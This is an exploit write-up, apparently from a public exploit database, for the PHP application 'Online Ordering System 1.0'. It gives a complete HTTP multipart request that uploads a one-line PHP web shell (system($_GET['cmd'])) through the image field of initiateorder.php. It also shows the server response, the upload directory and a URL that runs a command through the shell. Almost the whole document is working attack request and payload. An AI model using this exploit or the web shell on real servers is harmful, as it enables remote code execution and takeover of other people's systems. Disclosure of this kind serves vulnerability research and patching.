Online Ordering System 1.0 - Arbitrary File Upload

# Exploit Title: Online Ordering System 1.0 - Arbitrary File Upload to Remote Code Execution
# Date: 04/03/2021
# Exploit Author: Suraj Bhosale
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/5125/online-ordering-system-using-phpmysql.html
# Version: 1.0
# Tested on Windows 10, XAMPP


Request:
========

POST /onlineordering/GPST/store/initiateorder.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------14955282031852449676680360880
Content-Length: 972
Origin: http://localhost
Connection: close
Referer: http://localhost/onlineordering/GPST/store/index.php
Cookie: PHPSESSID=0es23o87toitba1p1pdmq5i6ir
Upgrade-Insecure-Requests: 1

-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="transnum"

VAF-XAP
-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="select1"

25
-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="pname"

keychain
-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="select2"

1
-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="txtDisplay"

25
-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="note"

test
-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: application/octet-stream

<?php echo "Shell";system($_GET['cmd']); ?>
-----------------------------14955282031852449676680360880--

Response:
=========

HTTP/1.1 200 OK
Date: Thu, 04 Mar 2021 13:28:27 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.27
X-Powered-By: PHP/7.3.27
Content-Length: 55
Connection: close
Content-Type: text/html; charset=UTF-8

<meta http-equiv="refresh" content="1; url=index.php">

# Uploaded Malicious File can be Found in :
onlineordering\GPST\store\design

# go to
http://localhost/onlineordering/GPST/store/design/shell.php?cmd=hostname
which will execute hostname command.